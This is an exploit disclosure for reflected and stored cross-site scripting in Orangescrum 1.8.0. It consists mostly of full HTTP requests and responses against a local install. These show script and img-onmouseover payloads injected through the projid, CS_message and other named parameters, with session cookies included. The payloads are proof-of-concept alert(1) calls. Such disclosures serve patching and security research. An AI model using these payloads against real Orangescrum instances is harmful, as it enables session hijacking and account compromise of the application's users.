orangescrum 1.8.0 - 'Multiple' Cross-Site Scripting (XSS) (Authenticated)

# Exploit Title: orangescrum 1.8.0 - 'Multiple' Cross-Site Scripting (XSS) (Authenticated)
# Date: 28/11/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: [email protected]
# Company: https://redteam.pl
# Vendor Homepage: https://www.orangescrum.org/
# Software Link: https://www.orangescrum.org/
# Version: 1.8.0
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### XSS Reflected


# Authenticated user

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# POC
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## Example XSS Reflected

Param: projid
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Req
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POST /orangescrum/easycases/edit_reply HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 64
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/orangescrum/dashboard
Cookie: language=en-gb; currency=USD; CAKEPHP=onb8uaoqhe4kst0cj5koufc781; user_uniq_agent=9c7cba4c3dd1b2f7ace2dd877a58051a25561a365a6631f0; USER_UNIQ=e0bd28cc49dc2c60c80c7488b61c2aa2; USERTYP=2; USERTZ=28; USERSUB_TYPE=0; IS_MODERATOR=0; SES_TYPE=1; SES_COMP=1; CMP_CREATED=2021-11-28+10%3A52%3A11; COMP_UID=8b0e7877a94c648807ef19006c68edf9; DEFAULT_PAGE=dashboard; LISTVIEW_TYPE=comfort; CURRENT_FILTER=cases
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

id=5&reply_flag=1&projid=1zxcvczxzxcv"><script>alert(1)</script>

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Res:
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HTTP/1.1 200 OK
Date: Sun, 28 Nov 2021 13:28:57 GMT
Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Set-Cookie: USER_UNIQ=e0bd28cc49dc2c60c80c7488b61c2aa2; expires=Sun, 28-Nov-2021 15:28:57 GMT; Max-Age=7199; path=/; domain=127.0.0.1
Set-Cookie: USERTYP=2; expires=Sun, 28-Nov-2021 15:28:57 GMT; Max-Age=7199; path=/; domain=127.0.0.1
Set-Cookie: USERTZ=28; expires=Sun, 28-Nov-2021 15:28:57 GMT; Max-Age=7199; path=/; domain=127.0.0.1
Set-Cookie: USERSUB_TYPE=0; expires=Sun, 28-Nov-2021 15:28:57 GMT; Max-Age=7199; path=/; domain=127.0.0.1
Set-Cookie: SES_TYPE=1; expires=Sun, 28-Nov-2021 15:28:57 GMT; Max-Age=7199; path=/; domain=127.0.0.1
Set-Cookie: SES_COMP=1; expires=Sun, 28-Nov-2021 15:28:57 GMT; Max-Age=7199; path=/; domain=127.0.0.1
Set-Cookie: CMP_CREATED=2021-11-28+10%3A52%3A11; expires=Sun, 28-Nov-2021 15:28:57 GMT; Max-Age=7199; path=/; domain=127.0.0.1
Set-Cookie: COMP_UID=8b0e7877a94c648807ef19006c68edf9; expires=Sun, 28-Nov-2021 15:28:57 GMT; Max-Age=7199; path=/; domain=127.0.0.1
Content-Length: 1114
Vary: User-Agent
Expires: access 12 month
Connection: close
Content-Type: text/html; charset=UTF-8

<table cellpadding="0" cellspacing="0" class="edit_rep_768 col-lg-12">
	<tr>
		<td>
			<textarea name="edit_reply_txtbox5" id="edit_reply_txtbox5" rows="3" class="reply_txt_ipad col-lg-12">
				                    xczcxz"/><b>bb</b>bbxczcxz"/>&ltxczcxz"/><b>bb</b>bb;b>bb</b>bbxczcxz"/><b>bb</b>bb			</textarea>
		</td>
	</tr>
	<tr>
		<td align="right">
			<div id="edit_btn5" class="fr">
				<button type="button" value="Save" style="margin:5px;padding:3px 32px 3px 32px;" class="btn btn_blue" onclick="save_editedvalue_reply(2,5,1zxcvczxzxcv"><script>alert(1)</script>,'c64271510399996f611739b
[...]


## Example XSS Stored

Example vuln paraMETERS:
* CS_message
* name
* data[User][email]

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Param: CS_message
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Req
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POST /orangescrum/easycases/ajaxpostcase HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 393
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/orangescrum/dashboard/?project=3966c2c5cc3745d161640d07450d682c
Cookie: language=en-gb; currency=USD; CAKEPHP=j27a7es1lv1ln77gpngicqshe4; user_uniq_agent=9c7cba4c3dd1b2f7ace2dd877a58051a25561a365a6631f0; USER_UNIQ=e0bd28cc49dc2c60c80c7488b61c2aa2; USERTYP=2; USERTZ=28; USERSUB_TYPE=0; SES_TYPE=1; SES_COMP=1; CMP_CREATED=2021-11-28+10%3A52%3A11; COMP_UID=8b0e7877a94c648807ef19006c68edf9; DEFAULT_PAGE=dashboard; LISTVIEW_TYPE=comfort; TASKGROUPBY=duedate; CURRENT_FILTER=cases; TASK_TYPE_IN_DASHBOARD=1; LAST_CREATED_PROJ=14
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

pid=14&CS_project_id=8f4adc0f496a3738f04d629be909488d&CS_istype=2&CS_title=&CS_type_id=15&CS_priority=1&CS_message=zxcvbzz"/><img%20src=x%20onmouseover=alert(1)>axcbv&CS_assign_to=1&CS_due_date=&CS_milestone=&postdata=Post&pagename=dashboard&emailUser%5B%5D=1&CS_id=2678&CS_case_no=1&datatype=1&CS_legend=2&prelegend=1&hours=0&estimated_hours=0&completed=0&taskid=0&task_uid=0&editRemovedFile=

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Res:
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HTTP/1.1 200 OK
Date: Sun, 28 Nov 2021 13:51:29 GMT
Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Set-Cookie: USER_UNIQ=e0bd28cc49dc2c60c80c7488b61c2aa2; expires=Sun, 28-Nov-2021 15:51:29 GMT; Max-Age=7200; path=/; domain=127.0.0.1
Set-Cookie: USERTYP=2; expires=Sun, 28-Nov-2021 15:51:29 GMT; Max-Age=7200; path=/; domain=127.0.0.1
Set-Cookie: USERTZ=28; expires=Sun, 28-Nov-2021 15:51:29 GMT; Max-Age=7200; path=/; domain=127.0.0.1
Set-Cookie: USERSUB_TYPE=0; expires=Sun, 28-Nov-2021 15:51:29 GMT; Max-Age=7200; path=/; domain=127.0.0.1
Vary: User-Agent
Expires: access 12 month
Content-Length: 698
Connection: close
Content-Type: text/html; charset=UTF-8

{"success":"success","pagename":"dashboard","formdata":"8f4adc0f496a3738f04d629be909488d","postParam":"Post","caseUniqId":"eb8671bf1e20702b7793b11152e9ff32","format":2,"allfiles":null,"caseNo":"1","emailTitle":"aaaaaaaaaaaaaaz\"\/><img src=x onmouseover=alert(1)>a","emailMsg":"zxcvbzz\"\/><img src=x onmouseover=alert(1)>
[...]